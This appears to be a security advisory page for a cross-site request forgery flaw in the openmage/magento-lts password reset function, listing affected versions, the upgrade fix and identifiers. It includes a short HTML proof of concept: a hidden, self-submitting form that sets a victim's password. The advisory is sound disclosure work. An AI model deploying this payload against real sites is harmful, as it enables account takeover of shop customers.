Cross-site Request Forgery (CSRF) Affecting openmage/magento-lts package, versions <19.4.22>=20.0.0, <20.0.19


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.08% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-OPENMAGEMAGENTOLTS-3249199
  • published27 Jan 2023
  • disclosed26 Jan 2023
  • creditxenx

Introduced: 26 Jan 2023

CVE-2021-21395  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade openmage/magento-lts to version 19.4.22, 20.0.19 or higher.

Overview

openmage/magento-lts is a This repository is the home of an unofficial community-driven project.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in the resetPasswordAction() function in AccountController.php. An attacker can change a user's password by convincing them to request a password reset with the "forgot password" feature, and then sending a malicious POST request before they've set a new password.

PoC

<html> 
  <body>
    <form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="confirmation" value="password123" />
    </form>
   <script>document.forms[0].submit()</script>
  </body>
</html>

CVSS Scores

version 3.1